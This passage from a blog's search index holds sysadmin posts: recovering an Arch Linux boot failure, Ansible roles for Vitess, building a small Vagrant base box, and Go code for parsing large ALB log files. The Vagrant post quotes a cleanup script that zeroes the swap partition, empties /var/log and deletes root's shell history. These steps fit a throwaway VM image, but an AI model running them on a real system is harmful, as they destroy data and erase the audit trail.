[ALPM-SCRIPTLET] -\u0026gt; Running build hook: [keymap] [2023-10-04T20:36:32+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [consolefont] [2023-10-04T20:36:32+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: consolefont: no font found in configuration [2023-10-04T20:36:32+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [filesystems] [2023-10-04T20:36:33+0530] [ALPM-SCRIPTLET] -\u0026gt; Running build hook: [fsck] [2023-10-04T20:36:34+0530] [ALPM-SCRIPTLET] ==\u0026gt; Generating module dependencies [2023-10-04T20:36:34+0530] [ALPM-SCRIPTLET] ==\u0026gt; Creating zstd-compressed initcpio image: \u0026#39;/boot/initramfs-linux-fallback.img\u0026#39; [2023-10-04T20:36:35+0530] [ALPM-SCRIPTLET] ==\u0026gt; Image generation successful The line which caused the issue during image generation:\n[2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] sort: cannot read: \u0026#39;/sys/devices/pci0000:00/0000:00:08.1/0000:08:00.3/usb3/3-1/3-1.2/3-1.2:1.2/ep_04/uevent\u0026#39;: No such file or directory The solution to recover was to boot to another OS. I run CentOS Steam 8 as a dual boot. And then mount the root file system of arch on path /run/media/madhur/arch\nRun the following commands\nmount -t proc /proc proc/ mount -t sysfs /sys sys/ mount --rbind /dev dev/ mount --rbind /sys/firmware/efi/efivars sys/firmware/efi/efivars/ chroot /run/media/madhur/arch mikinitcpio -p linux The final command will generate the new initramfs image\nMore information about this issue can be found in this thread\n","permalink":"https://madhur.co.in/blog/2023/09/30/recovering-from-arch-boot.html","summary":"\u003cp\u003eRecently I faced boot failure after upgrading my \u003ca href=\"https://archlinux.org/\"\u003eArch Linux\u003c/a\u003e system.\u003c/p\u003e\n\u003cp\u003eThe error was\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eERROR: device \u003cspan class=\"s1\"\u003e\u0026#39;UUID=1dd743ed-e0a5-4b0c-80ee-186e89eea401\u0026#39;\u003c/span\u003e not found. Skipping fsck.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003emount: /new_root: can\u003cspan class=\"s1\"\u003e\u0026#39;t find UUID=1dd743ed-e0a5-4b0c-80ee-186e89eea401.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003eERROR: failed to mount \u0026#39;\u003c/span\u003e1dd743ed-e0a5-4b0c-80ee-186e89eea401\u003cspan class=\"s1\"\u003e\u0026#39; on real root\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003eYou are now being dropped into an emergency shell.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003esh: can\u0026#39;\u003c/span\u003et access tty\u003cspan class=\"p\"\u003e;\u003c/span\u003e job control turned off\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003erootfs ~\u003cspan class=\"o\"\u003e]\u003c/span\u003e\u003cspan class=\"c1\"\u003e# _\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis could happen while building errorneous \u003ca href=\"https://en.wikipedia.org/wiki/Initial_ramdisk\"\u003einitramfs\u003c/a\u003e image\u003c/p\u003e\n\u003cp\u003eIt was evident from \u003ccode\u003e/var/log/pacman.log\u003c/code\u003e logs\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[2023-10-04T20:36:26+0530] [ALPM] running \u0026#39;90-mkinitcpio-install.hook\u0026#39;...\n[2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] ==\u0026gt; Building image from preset: /etc/mkinitcpio.d/linux.preset: \u0026#39;default\u0026#39;\n[2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] ==\u0026gt; Using configuration file: \u0026#39;/etc/mkinitcpio.conf\u0026#39;\n[2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET]   -\u0026gt; -k /boot/vmlinuz-linux -c /etc/mkinitcpio.conf -g /boot/initramfs-linux.img\n[2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] ==\u0026gt; Starting build: \u0026#39;6.5.2-arch1-1\u0026#39;\n[2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [base]\n[2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [udev]\n[2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [autodetect]\n[2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] sort: cannot read: \u0026#39;/sys/devices/pci0000:00/0000:00:08.1/0000:08:00.3/usb3/3-1/3-1.2/3-1.2:1.2/ep_04/uevent\u0026#39;: No such file or directory\n[2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET] modprobe: ERROR: missing parameters. See -h.\n[2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [modconf]\n[2023-10-04T20:36:26+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [block]\n[2023-10-04T20:36:27+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [keyboard]\n[2023-10-04T20:36:27+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [keymap]\n[2023-10-04T20:36:27+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [consolefont]\n[2023-10-04T20:36:27+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: consolefont: no font found in configuration\n[2023-10-04T20:36:27+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [filesystems]\n[2023-10-04T20:36:27+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [fsck]\n[2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] ==\u0026gt; Generating module dependencies\n[2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] ==\u0026gt; Creating zstd-compressed initcpio image: \u0026#39;/boot/initramfs-linux.img\u0026#39;\n[2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] ==\u0026gt; Image generation successful\n[2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] ==\u0026gt; Building image from preset: /etc/mkinitcpio.d/linux.preset: \u0026#39;fallback\u0026#39;\n[2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] ==\u0026gt; Using configuration file: \u0026#39;/etc/mkinitcpio.conf\u0026#39;\n[2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET]   -\u0026gt; -k /boot/vmlinuz-linux -c /etc/mkinitcpio.conf -g /boot/initramfs-linux-fallback.img -S autodetect\n[2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET] ==\u0026gt; Starting build: \u0026#39;6.5.2-arch1-1\u0026#39;\n[2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [base]\n[2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [udev]\n[2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [modconf]\n[2023-10-04T20:36:28+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [block]\n[2023-10-04T20:36:29+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;qed\u0026#39;\n[2023-10-04T20:36:29+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;bfa\u0026#39;\n[2023-10-04T20:36:29+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;qla2xxx\u0026#39;\n[2023-10-04T20:36:29+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;aic94xx\u0026#39;\n[2023-10-04T20:36:29+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;wd719x\u0026#39;\n[2023-10-04T20:36:29+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;qla1280\u0026#39;\n[2023-10-04T20:36:30+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: Possibly missing firmware for module: \u0026#39;xhci_pci\u0026#39;\n[2023-10-04T20:36:31+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [keyboard]\n[2023-10-04T20:36:32+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [keymap]\n[2023-10-04T20:36:32+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [consolefont]\n[2023-10-04T20:36:32+0530] [ALPM-SCRIPTLET] ==\u0026gt; WARNING: consolefont: no font found in configuration\n[2023-10-04T20:36:32+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [filesystems]\n[2023-10-04T20:36:33+0530] [ALPM-SCRIPTLET]   -\u0026gt; Running build hook: [fsck]\n[2023-10-04T20:36:34+0530] [ALPM-SCRIPTLET] ==\u0026gt; Generating module dependencies\n[2023-10-04T20:36:34+0530] [ALPM-SCRIPTLET] ==\u0026gt; Creating zstd-compressed initcpio image: \u0026#39;/boot/initramfs-linux-fallback.img\u0026#39;\n[2023-10-04T20:36:35+0530] [ALPM-SCRIPTLET] ==\u0026gt; Image generation successful\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe line which caused the issue during image generation:\u003c/p\u003e","title":"Recovering from Arch Boot failure"},{"content":"What is vitess? Vitess is a scaleable databases built on top of MySQL. One key feature of vitess is that it supports sharding. Checkout Vitess website for more information\nAs part of working with Vitess, I have provisioned a set of Ansible roles which help in setting up Vitess in vagrant / staging / production infrastructure.\nCheck out the github repo for more information.\n","permalink":"https://madhur.co.in/blog/2023/08/30/ansible-vitess.html","summary":"\u003ch3 id=\"what-is-vitess\"\u003eWhat is vitess?\u003c/h3\u003e\n\u003cp\u003eVitess is a scaleable databases built on top of MySQL. One key feature of vitess is that it supports sharding.\nCheckout \u003ca href=\"https://vitess.io/\"\u003eVitess website\u003c/a\u003e for more information\u003c/p\u003e\n\u003cp\u003eAs part of working with Vitess, I have provisioned a \u003ca href=\"https://github.com/madhur/ansible-vitess\"\u003eset of Ansible roles\u003c/a\u003e which help in setting up Vitess in \u003ca href=\"https://www.vagrantup.com/\"\u003evagrant\u003c/a\u003e / staging / production infrastructure.\u003c/p\u003e\n\u003cp\u003eCheck out the \u003ca href=\"https://github.com/madhur/ansible-vitess\"\u003egithub repo\u003c/a\u003e for more information.\u003c/p\u003e","title":"Ansible roles for installing and configuring Vitess"},{"content":"For me, Vagrant is the ultimate tool to simulate production like envrionments in the development machine.\nSome people prefer Docker as an alternative to Vagrant, because of being lightweight and quick to provision.\nHowever, I feel Docker and Vagrant have their own places and their responsibilities do not overlap. Let me explain why.\nDocker is good for running application services. Ultimately, now a days, since production code is deployed in containers itself, docker provides good testing ground for testing out Dockerfile and images\nThough application services are deployed on containers, the stateful sets have not really reached that maturity stage where the persistent stores are deployed in containers.\nOrganizations still prefer to run the Cassandra, Redis, MongoDB, MySQL in the cloud VM\u0026rsquo;s if those are self hosted, instead of the containers.\nThis is where Vagrant becomes a crucial tool for sysadmins.\nAny sysadmin, who manages such infrastructure would find Vagrant an incredibly useful tool to replicate the entire setup on development environment and test out any changes in its development environment before proceeding to higher environments.\nFor example, someone testing out the Cassandra DB cluster upgrade, can test it out in Vagrant environment before doing it in staging / production environment. This can help save cost.\nThere are Vagrant boxes available for each and every popular Operating systems such as CentOS 7, CentOS 8 and Debian\nGithub is full of open source scripts to provision any type of server with Vagrant.\nSometimes, it is helpful to create your own Vagrant base box in order to avoid downloading big dependencies from package repositories such as apt or dnf\nThe dependencies can be packaged inside Vagrant basebox itself so that when the box is provisioned, there is no need to download these cut shorting the time to provision.\nRecently, I had such a scenario and found some important tips when creating own vagrant boxes.\nThe official guidelines for creating base box for Virtualbox https://developer.hashicorp.com/vagrant/docs/providers/virtualbox/boxes recommends installing Virtual Box guest additions in the basebox. Infact, it has been listed as a must. VirtualBox Guest Additions must be installed so that things such as shared folders can function. Installing guest additions also usually improves performance since the guest OS can make some optimizations by knowing it is running within VirtualBox.\nThis is one of the most illogical and idiotic advice according to me. Because, VirtualBox Guest additions package is tied to specific version of VirtualBox. Once you install VirtualBox Guest additions package and later upgrade or downgrade VirtualBox version, it is of no use. This creates a tight coupling between the consumer (developer) and the Vagrant Base box. According to me, installing Virtual Box Guest Additions package is best avoided unless you really need fancy two way synchronizations between host and guest folders, which I believe no serious sysadmin should care about.\nWhen you provision a Vagrant box, the folder in which Vagrantfile resides is mounted inside the guest machine as /vagrant. Before executing vagrant package --base basebox, which triggers the creation of basebox, make sure to delete the /vagrant folder else it will be packaged as a regular folder inside the basebox which in most cases you don\u0026rsquo;t want.\nIt is very important to keep the size of basebox as small as possible to make sure it does not occupy huge disk space when boxes are provisioned from the base box. Vagrant does the compression of the basebox, however it does the compression based on the binary analysis of the disk. If there has been lot of files in and out of the box, even after deleting those files, the space won\u0026rsquo;t be reclaimed by vagrant compression. Hence its best to zero out the empty space before initiating creation of box using\n# Zero free space to aid VM compression printf \u0026#34;STEP: Zero free space to aid VM compression\\n\u0026#34; dd if=/dev/zero of=/EMPTY bs=1M rm -f /EMPTY The above step should take care of filling the empty space with zeroes which vagrant would be able to compress out signifcantly.\nIf you care about the space optimzation very deeply, there are certain files such as man pages and log files which can be removed from Linux OS. Have a look at this gist for such tweaks to optimize. I am recopying the gist below incase gist is later unavailable: #!/bin/sh # Credits to: # - http://vstone.eu/reducing-vagrant-box-size/ # - https://github.com/mitchellh/vagrant/issues/343 # - https://gist.github.com/adrienbrault/3775253 ## for vagrant related tasks, uncomment vagrant comments # vagrant: Unmount project #printf \u0026#34;STEP: vagrant: Unmount project\\n\u0026#34; #umount /vagrant # Remove APT cache printf \u0026#34;STEP: Remove APT cache\\n\u0026#34; apt-get clean -y apt-get autoclean -y # Zero free space to aid VM compression printf \u0026#34;STEP: Zero free space to aid VM compression\\n\u0026#34; dd if=/dev/zero of=/EMPTY bs=1M rm -f /EMPTY # Remove APT files printf \u0026#34;STEP: Zero free space to aid VM compression\\n\u0026#34; find /var/lib/apt -type f | xargs rm -f # Remove documentation files printf \u0026#34;STEP: Remove documentation files\\n\u0026#34; find /var/lib/doc -type f | xargs rm -f # vagrant: Remove Virtualbox specific files #printf \u0026#34;STEP: vagrant: Remove Virtualbox specific files\\n\u0026#34; #rm -rf /usr/src/vboxguest* /usr/src/virtualbox-ose-guest* # Remove Linux headers printf \u0026#34;STEP: Remove Linux headers\\n\u0026#34; rm -rf /usr/src/linux-headers* # Remove Unused locales (edit for your needs, this keeps only en* and pt_BR) printf \u0026#34;STEP: Remove Unused locales (edit for your needs, this keeps only en* and pt_BR) find\\n\u0026#34; find /usr/share/locale/{af,am,ar,as,ast,az,bal,be,bg,bn,bn_IN,br,bs,byn,ca,cr,cs,csb,cy,da,de,de_AT,dz,el,en_AU,en_CA,eo,es,et,et_EE,eu,fa,fi,fo,fr,fur,ga,gez,gl,gu,haw,he,hi,hr,hu,hy,id,is,it,ja,ka,kk,km,kn,ko,kok,ku,ky,lg,lt,lv,mg,mi,mk,ml,mn,mr,ms,mt,nb,ne,nl,nn,no,nso,oc,or,pa,pl,ps,qu,ro,ru,rw,si,sk,sl,so,sq,sr,sr*latin,sv,sw,ta,te,th,ti,tig,tk,tl,tr,tt,ur,urd,ve,vi,wa,wal,wo,xh,zh,zh_HK,zh_CN,zh_TW,zu} -type d -delete # Remove bash history printf \u0026#34;STEP: Remove bash history\\n\u0026#34; unset HISTFILE rm -f /root/.bash_history # vagrant: Remove bash history #printf \u0026#34;STEP: vagrant: Remove bash history\\n\u0026#34; #rm -f /home/vagrant/.bash_history # Cleanup log files printf \u0026#34;STEP: Cleanup log files\\n\u0026#34; find /var/log -type f | while read f; do echo -ne \u0026#39;\u0026#39; \u0026gt; $f; done; # Whiteout root printf \u0026#34;STEP: Whiteout root\\n\u0026#34; count=`df --sync -kP / | tail -n1 | awk -F \u0026#39; \u0026#39; \u0026#39;{print $4}\u0026#39;`; count=$((count -= 1)) dd if=/dev/zero of=/tmp/whitespace bs=1024 count=$count; rm /tmp/whitespace; # Whiteout /boot printf \u0026#34;STEP: Whiteout /boot\\n\u0026#34; count=`df --sync -kP /boot | tail -n1 | awk -F \u0026#39; \u0026#39; \u0026#39;{print $4}\u0026#39;`; count=$((count -= 1)) dd if=/dev/zero of=/boot/whitespace bs=1024 count=$count; rm /boot/whitespace; # Whiteout swap printf \u0026#34;STEP: Whiteout swap\\n\u0026#34; swappart=`cat /proc/swaps | tail -n1 | awk -F \u0026#39; \u0026#39; \u0026#39;{print $1}\u0026#39;` swapoff $swappart; dd if=/dev/zero of=$swappart; mkswap $swappart; swapon $swappart; ","permalink":"https://madhur.co.in/blog/2023/07/30/creating-vagrant-base-box.html","summary":"\u003cp\u003eFor me, \u003ca href=\"https://www.vagrantup.com/\"\u003eVagrant\u003c/a\u003e is the ultimate tool to simulate production like envrionments in the development machine.\u003c/p\u003e\n\u003cp\u003eSome people prefer \u003ca href=\"https://www.docker.com/\"\u003eDocker\u003c/a\u003e as an alternative to Vagrant, because of being lightweight and quick to provision.\u003c/p\u003e\n\u003cp\u003eHowever, I feel Docker and Vagrant have their own places and their responsibilities do not overlap. Let me explain why.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eDocker is good for running application services. Ultimately, now a days, since production code is deployed in containers itself, docker provides good testing ground for testing out \u003ca href=\"https://docs.docker.com/engine/reference/builder/\"\u003eDockerfile\u003c/a\u003e and \u003ca href=\"https://docs.docker.com/engine/reference/commandline/images/\"\u003eimages\u003c/a\u003e\u003c/p\u003e","title":"Creating vagrant basebox"},{"content":"Recently, I was faced with a situation where I had to process huge (in order of several gigabytes) log files.\nThe log files consisted of either CSV format or AWS ALB logs format\nHere the process means, I had to process each row to either filter it or store the valuable information from it for later analysis.\nFirst, I attempted with python to parse it with the simple logic\nfile_name = home + \u0026#39;/Downloads/huge_file.csv\u0026#39; filtered_rows = [] with open(\u0026#39;./filtered.csv\u0026#39;, \u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as csvfile: dict_writer = csv.DictWriter(csvfile, [\u0026#34;client_ip\u0026#34;, \u0026#34;target_processing_time\u0026#34;, \u0026#34;target_status_code\u0026#34;, \u0026#34;received_bytes\u0026#34;, \u0026#34;request_url\u0026#34;, \u0026#34;request_creation_time\u0026#34;, \u0026#34;ssl_protocol\u0026#34;, \u0026#34;trace_id\u0026#34; ]) with open(file_name, mode=\u0026#39;r\u0026#39;) as csv_file: csv_reader = csv.DictReader(csv_file) line_count = 0 for row in csv_reader: # Do some processing filtered_rows.append(obj) dict_writer.writerow(obj) The above program reads the CSV line by line and optionally writes few columns of it to another file.\nThis was done on a 12 GB CSV file and it took 4-5 hours.\nI was not satisfied with it as I had to do multiple iterations on multiple such files. There had to be a better way.\nTurned to Go due to its concurrency features\nThere is a encoding/csv package in go which can help read the CSV files. However, it is single threaded and does not make use of multiple goroutines.\nCame across another package github.com/actforgood/bigcsvreader which can help read the big CSV files with the use of multiple routines.\nQuickly wrote a program which reads the bunch of huge CSV files in a folder and applies processing logic to it. Below is the sample snippet:\nThe below program reads the folder of log files and processes each one after another. However, since the reading is done using multiple goroutines, the below program can process 12 GB of ALB log file in matter of few seconds. The log files in my case was the list of ALB log files from AWS. Note that ALB log files are space character separated.\nAlso, if the files are huge, we need to increase the buffer space in library so that its heap memory does not runs out.\nbigCSV.ColumnsDelimiter = \u0026#39; \u0026#39; bigCSV.BufferSize = 81920 The processRow() function receives each row and based on the process / filtering criteria publishes the data of type ALBLog on the resultChan channel.\nThere is another inline goroutine which reads all the data from resultChan channel and writes it to filtered.csv\npackage main import ( \u0026#34;context\u0026#34; \u0026#34;encoding/csv\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;sync/atomic\u0026#34; \u0026#34;github.com/actforgood/bigcsvreader\u0026#34; \u0026#34;net/url\u0026#34; ) const noOfColumns = 29 var rowCount = 0 type ALBLog struct { ClientIP string TargetProcessingTime string TargetStatusCode string ReceivedBytes string RequestUrl string RequestCreationTime string SSLProtocol string TraceID string RawRow []string } type count32 int32 func (c *count32) inc() int32 { return atomic.AddInt32((*int32)(c), 1) } func (c *count32) get() int32 { return atomic.LoadInt32((*int32)(c)) } func (c *count32) reset() { atomic.StoreInt32((*int32)(c), 0) } var counter count32 func main() { homedir, _ := os.UserHomeDir() csvLocation := homedir + \u0026#34;/logs/\u0026#34; entries, err := os.ReadDir(csvLocation) if err != nil { log.Fatal(err) } var TotalProcessRows int32 var FilteredProcessedRows int f, err := os.Create(\u0026#34;filtered.csv\u0026#34;) w := csv.NewWriter(f) w.Write([]string{\u0026#34;request_url\u0026#34;, \u0026#34;target_processing_time\u0026#34;}) w.Flush() f.Close() for _, e := range entries { if strings.HasSuffix(e.Name(), \u0026#34;.log\u0026#34;) { totalRows, filteredRows := processFile(csvLocation, e.Name()) TotalProcessRows = TotalProcessRows + totalRows FilteredProcessedRows = FilteredProcessedRows + filteredRows } } fmt.Fprintf(os.Stdout, \u0026#34;Total Rows: %d Filtered Rows: %d\u0026#34;, TotalProcessRows, FilteredProcessedRows) } func processFile(csvLocation string, fileName string) (int32, int) { counter.reset() // initialize the big csv reader bigCSV := bigcsvreader.New() bigCSV.SetFilePath(csvLocation + fileName) bigCSV.ColumnsCount = noOfColumns bigCSV.MaxGoroutinesNo = 16 bigCSV.BufferSize = 81920 bigCSV.FileHasHeader = true bigCSV.ColumnsDelimiter = \u0026#39; \u0026#39; ctx, cancelCtx := context.WithCancel(context.Background()) defer cancelCtx() var wg sync.WaitGroup var filteredRows int // start multi-thread reading rowsChans, errsChan := bigCSV.Read(ctx) resultChan := make(chan ALBLog) for i := 0; i \u0026lt; len(rowsChans); i++ { wg.Add(1) go rowWorker(rowsChans[i], \u0026amp;wg, resultChan) } wg.Add(1) go errWorker(errsChan, \u0026amp;wg) var writeCSVWaitGroup sync.WaitGroup go func() { writeCSVWaitGroup.Add(1) var result []ALBLog for filteredLog := range resultChan { result = append(result, filteredLog) } fmt.Fprintf(os.Stdout, \u0026#34;%s Filtered rows %d\\n\u0026#34;, fileName, len(result)) filteredRows = len(result) f, err := os.OpenFile(\u0026#34;filtered.csv\u0026#34;, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600) defer f.Close() if err != nil { log.Fatalln(\u0026#34;failed to open file\u0026#34;, err) } w := csv.NewWriter(f) defer w.Flush() if err != nil { log.Fatal(err) } for _, row := range result { w.Write(row.RawRow) } writeCSVWaitGroup.Done() }() wg.Wait() close(resultChan) writeCSVWaitGroup.Wait() fmt.Fprintf(os.Stdout, \u0026#34; %s Total rows: %d\\n\u0026#34;, fileName, counter.get()) return counter.get(), filteredRows } func rowWorker(rowsChan bigcsvreader.RowsChan, waitGr *sync.WaitGroup, resultChan chan\u0026lt;- ALBLog) { for row := range rowsChan { processRow(row, resultChan) } waitGr.Done() } func errWorker(errsChan bigcsvreader.ErrsChan, waitGr *sync.WaitGroup) { for err := range errsChan { handleError(err) } waitGr.Done() } // processRow can be used to implement business logic // like validation / converting to a struct / persisting row into a storage. func processRow(row []string, resultChan chan\u0026lt;- ALBLog) { clientIP := strings.Split(row[3], \u0026#34;:\u0026#34;)[0] requestUrl := strings.Split(row[12], \u0026#34; \u0026#34;)[1] urlObject, err := url.Parse(requestUrl) counter.inc() RawRow := []string {urlObject.Path, row[6]} alblog := ALBLog{ ClientIP: clientIP, TargetProcessingTime: row[6], TargetStatusCode: row[9], ReceivedBytes: row[10], RequestUrl: row[12], RequestCreationTime: row[21], RawRow: RawRow, } if doSomeFiltering() { resultChan \u0026lt;- alblog } } // handleError handles the error. // errors can be fatal like file does not exist, or row related like a given row could not be parsed, etc... func handleError(err error) { fmt.Println(\u0026#34;error\u0026#34;, err) } ","permalink":"https://madhur.co.in/blog/2023/06/10/processing-huge-log-files.html","summary":"\u003cp\u003eRecently, I was faced with a situation where I had to process huge (in order of several gigabytes) log files.\u003c/p\u003e\n\u003cp\u003eThe log files consisted of either \u003ca href=\"https://en.wikipedia.org/wiki/Comma-separated_values\"\u003eCSV format\u003c/a\u003e or \u003ca href=\"https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-access-logs.html\"\u003eAWS ALB logs format\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eHere the process means, I had to process each row to either filter it or store the valuable information from it for later analysis.\u003c/p\u003e\n\u003cp\u003eFirst, I attempted with python to parse it with the simple logic\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efile_name\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ehome\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/Downloads/huge_file.csv\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efiltered_rows\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewith\u003c/span\u003e \u003cspan class=\"nb\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;./filtered.csv\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;w\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003enewline\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"n\"\u003ecsvfile\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"n\"\u003edict_writer\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecsv\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDictWriter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecsvfile\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;client_ip\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;target_processing_time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;target_status_code\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;received_bytes\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;request_url\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;request_creation_time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;ssl_protocol\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;trace_id\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"k\"\u003ewith\u003c/span\u003e \u003cspan class=\"nb\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efile_name\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;r\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e 